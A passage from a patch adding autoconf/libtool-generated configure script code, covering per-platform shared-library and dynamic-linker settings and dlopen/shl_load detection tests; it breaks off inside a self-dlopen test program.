's/:,\t/ /g;s/=^=*$//;s/=^= * / /g' /etc/ld.so.conf | tr '\n' ' '` + sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra" + fi + + # We used to test for /lib/ld.so.1 and disable shared libraries on + # powerpc, because MkLinux only supported shared libraries with the + # GNU dynamic linker. Since this was broken with cross compilers, + # most powerpc-linux boxes support dynamic linking these days and + # people can always --disable-shared, the test was removed, and we + # assume the GNU/Linux dynamic linker is in use. + dynamic_linker='GNU/Linux ld.so' + ;; + +knetbsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +netbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + dynamic_linker='NetBSD (a.out) ld.so' + else + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + dynamic_linker='NetBSD ld.elf_so' + fi + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + +newsos6) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +nto-qnx*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +openbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + shlibpath_var=LD_LIBRARY_PATH + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + case $host_os in + openbsd2.[89] | openbsd2.[89].*) + shlibpath_overrides_runpath=no + ;; + *) + shlibpath_overrides_runpath=yes + ;; + esac + else + shlibpath_overrides_runpath=yes + fi + ;; + +os2*) + libname_spec='$name' + shrext_cmds=".dll" + need_lib_prefix=no + library_names_spec='$libname${shared_ext} $libname.a' + dynamic_linker='OS/2 ld.exe' + shlibpath_var=LIBPATH + ;; + +osf3* | osf4* | osf5*) + version_type=osf + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib" + sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec" + ;; + +sco3.2v5*) + version_type=osf + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + ;; + +solaris*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + # ldd complains unless libraries are executable + postinstall_cmds='chmod +x $lib' + ;; + +sunos4*) + version_type=sunos + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + if test "$with_gnu_ld" = yes; then + need_lib_prefix=no + fi + need_version=yes + ;; + +sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + case $host_vendor in + sni) + shlibpath_overrides_runpath=no + need_lib_prefix=no + export_dynamic_flag_spec='${wl}-Blargedynsym' + runpath_var=LD_RUN_PATH + ;; + siemens) + need_lib_prefix=no + ;; + motorola) + need_lib_prefix=no + need_version=no + shlibpath_overrides_runpath=no + sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib' + ;; + esac + ;; + +sysv4*MP*) + if test -d /usr/nec ;then + version_type=linux + library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}' + soname_spec='$libname${shared_ext}.$major' + shlibpath_var=LD_LIBRARY_PATH + fi + ;; + +uts4*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +*) + dynamic_linker=no + ;; +esac +{ echo "$as_me:$LINENO: result: $dynamic_linker" >&5 +echo "${ECHO_T}$dynamic_linker" >&6; } +test "$dynamic_linker" = no && can_build_shared=no + +{ echo "$as_me:$LINENO: checking how to hardcode library paths into programs" >&5 +echo $ECHO_N "checking how to hardcode library paths into programs... $ECHO_C" >&6; } +hardcode_action_CXX= +if test -n "$hardcode_libdir_flag_spec_CXX" || \ + test -n "$runpath_var_CXX" || \ + test "X$hardcode_automatic_CXX" = "Xyes" ; then + + # We can hardcode non-existant directories. + if test "$hardcode_direct_CXX" != no && + # If the only mechanism to avoid hardcoding is shlibpath_var, we + # have to relink, otherwise we might link with an installed library + # when we should be linking with a yet-to-be-installed one + ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, CXX)" != no && + test "$hardcode_minus_L_CXX" != no; then + # Linking always hardcodes the temporary library directory. + hardcode_action_CXX=relink + else + # We can link without hardcoding, and we can hardcode nonexisting dirs. + hardcode_action_CXX=immediate + fi +else + # We cannot hardcode anything, or else we can only hardcode existing + # directories. + hardcode_action_CXX=unsupported +fi +{ echo "$as_me:$LINENO: result: $hardcode_action_CXX" >&5 +echo "${ECHO_T}$hardcode_action_CXX" >&6; } + +if test "$hardcode_action_CXX" = relink; then + # Fast installation is not supported + enable_fast_install=no +elif test "$shlibpath_overrides_runpath" = yes || + test "$enable_shared" = no; then + # Fast installation is not necessary + enable_fast_install=needless +fi + +striplib= +old_striplib= +{ echo "$as_me:$LINENO: checking whether stripping libraries is possible" >&5 +echo $ECHO_N "checking whether stripping libraries is possible... $ECHO_C" >&6; } +if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; then + test -z "$old_striplib" && old_striplib="$STRIP --strip-debug" + test -z "$striplib" && striplib="$STRIP --strip-unneeded" + { echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } +else +# FIXME - insert some real tests, host_os isn't really good enough + case $host_os in + darwin*) + if test -n "$STRIP" ; then + striplib="$STRIP -x" + { echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } + else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + ;; + *) + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } + ;; + esac +fi + +if test "x$enable_dlopen" != xyes; then + enable_dlopen=unknown + enable_dlopen_self=unknown + enable_dlopen_self_static=unknown +else + lt_cv_dlopen=no + lt_cv_dlopen_libs= + + case $host_os in + beos*) + lt_cv_dlopen="load_add_on" + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + ;; + + mingw* | pw32*) + lt_cv_dlopen="LoadLibrary" + lt_cv_dlopen_libs= + ;; + + cygwin*) + lt_cv_dlopen="dlopen" + lt_cv_dlopen_libs= + ;; + + darwin*) + # if libdl is installed we need to link against it + { echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5 +echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6; } +if test "${ac_cv_lib_dl_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldl $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char dlopen (); +int +main () +{ +return dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dl_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_dl_dlopen=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5 +echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6; } +if test $ac_cv_lib_dl_dlopen = yes; then + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl" +else + + lt_cv_dlopen="dyld" + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + +fi + + ;; + + *) + { echo "$as_me:$LINENO: checking for shl_load" >&5 +echo $ECHO_N "checking for shl_load... $ECHO_C" >&6; } +if test "${ac_cv_func_shl_load+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +/* Define shl_load to an innocuous variant, in case declares shl_load. + For example, HP-UX 11i declares gettimeofday. */ +#define shl_load innocuous_shl_load + +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char shl_load (); below. + Prefer to if __STDC__ is defined, since + exists even on freestanding compilers. */ + +#ifdef __STDC__ +# include +#else +# include +#endif + +#undef shl_load + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char shl_load (); +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined __stub_shl_load || defined __stub___shl_load +choke me +#endif + +int +main () +{ +return shl_load (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_shl_load=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_func_shl_load=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_func_shl_load" >&5 +echo "${ECHO_T}$ac_cv_func_shl_load" >&6; } +if test $ac_cv_func_shl_load = yes; then + lt_cv_dlopen="shl_load" +else + { echo "$as_me:$LINENO: checking for shl_load in -ldld" >&5 +echo $ECHO_N "checking for shl_load in -ldld... $ECHO_C" >&6; } +if test "${ac_cv_lib_dld_shl_load+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldld $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char shl_load (); +int +main () +{ +return shl_load (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dld_shl_load=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_dld_shl_load=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_dld_shl_load" >&5 +echo "${ECHO_T}$ac_cv_lib_dld_shl_load" >&6; } +if test $ac_cv_lib_dld_shl_load = yes; then + lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-dld" +else + { echo "$as_me:$LINENO: checking for dlopen" >&5 +echo $ECHO_N "checking for dlopen... $ECHO_C" >&6; } +if test "${ac_cv_func_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +/* Define dlopen to an innocuous variant, in case declares dlopen. + For example, HP-UX 11i declares gettimeofday. */ +#define dlopen innocuous_dlopen + +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char dlopen (); below. + Prefer to if __STDC__ is defined, since + exists even on freestanding compilers. */ + +#ifdef __STDC__ +# include +#else +# include +#endif + +#undef dlopen + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char dlopen (); +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined __stub_dlopen || defined __stub___dlopen +choke me +#endif + +int +main () +{ +return dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_func_dlopen=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_func_dlopen" >&5 +echo "${ECHO_T}$ac_cv_func_dlopen" >&6; } +if test $ac_cv_func_dlopen = yes; then + lt_cv_dlopen="dlopen" +else + { echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5 +echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6; } +if test "${ac_cv_lib_dl_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldl $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char dlopen (); +int +main () +{ +return dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dl_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_dl_dlopen=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5 +echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6; } +if test $ac_cv_lib_dl_dlopen = yes; then + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl" +else + { echo "$as_me:$LINENO: checking for dlopen in -lsvld" >&5 +echo $ECHO_N "checking for dlopen in -lsvld... $ECHO_C" >&6; } +if test "${ac_cv_lib_svld_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lsvld $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char dlopen (); +int +main () +{ +return dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_svld_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_svld_dlopen=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_svld_dlopen" >&5 +echo "${ECHO_T}$ac_cv_lib_svld_dlopen" >&6; } +if test $ac_cv_lib_svld_dlopen = yes; then + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld" +else + { echo "$as_me:$LINENO: checking for dld_link in -ldld" >&5 +echo $ECHO_N "checking for dld_link in -ldld... $ECHO_C" >&6; } +if test "${ac_cv_lib_dld_dld_link+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldld $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char dld_link (); +int +main () +{ +return dld_link (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dld_dld_link=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_dld_dld_link=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_dld_dld_link" >&5 +echo "${ECHO_T}$ac_cv_lib_dld_dld_link" >&6; } +if test $ac_cv_lib_dld_dld_link = yes; then + lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-dld" +fi + + +fi + + +fi + + +fi + + +fi + + +fi + + ;; + esac + + if test "x$lt_cv_dlopen" != xno; then + enable_dlopen=yes + else + enable_dlopen=no + fi + + case $lt_cv_dlopen in + dlopen) + save_CPPFLAGS="$CPPFLAGS" + test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H" + + save_LDFLAGS="$LDFLAGS" + eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\" + + save_LIBS="$LIBS" + LIBS="$lt_cv_dlopen_libs $LIBS" + + { echo "$as_me:$LINENO: checking whether a program can dlopen itself" >&5 +echo $ECHO_N "checking whether a program can dlopen itself... $ECHO_C" >&6; } +if test "${lt_cv_dlopen_self+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "$cross_compiling" = yes; then : + lt_cv_dlopen_self=cross +else + lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 + lt_status=$lt_dlunknown + cat > conftest.$ac_ext < +#endif + +#include + +#ifdef RTLD_GLOBAL +# define LT_DLGLOBAL RTLD_GLOBAL +#else +# ifdef DL_GLOBAL +# define LT_DLGLOBAL DL_GLOBAL +# else +# define LT_DLGLOBAL 0 +# endif +#endif + +/* We may have to define LT_DLLAZY_OR_NOW in the command line if we + find out it does not work in some platform. */ +#ifndef LT_DLLAZY_OR_NOW +# ifdef RTLD_LAZY +# define LT_DLLAZY_OR_NOW RTLD_LAZY +# else +# ifdef DL_LAZY +# define LT_DLLAZY_OR_NOW DL_LAZY +# else +# ifdef RTLD_NOW +# define LT_DLLAZY_OR_NOW RTLD_NOW +# else +# ifdef DL_NOW +# define LT_DLLAZY_OR_NOW DL_NOW +# else +# define LT_DLLAZY_OR_NOW 0 +# endif +# endif +# endif +# endif +#endif + +#ifdef __cplusplus +extern "C" void exit (int); +#endif + +void fnord() { int i=42;} +int main () +{ + void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); + int status = $lt_dlunknown; + + if (self) + { + if (dlsym 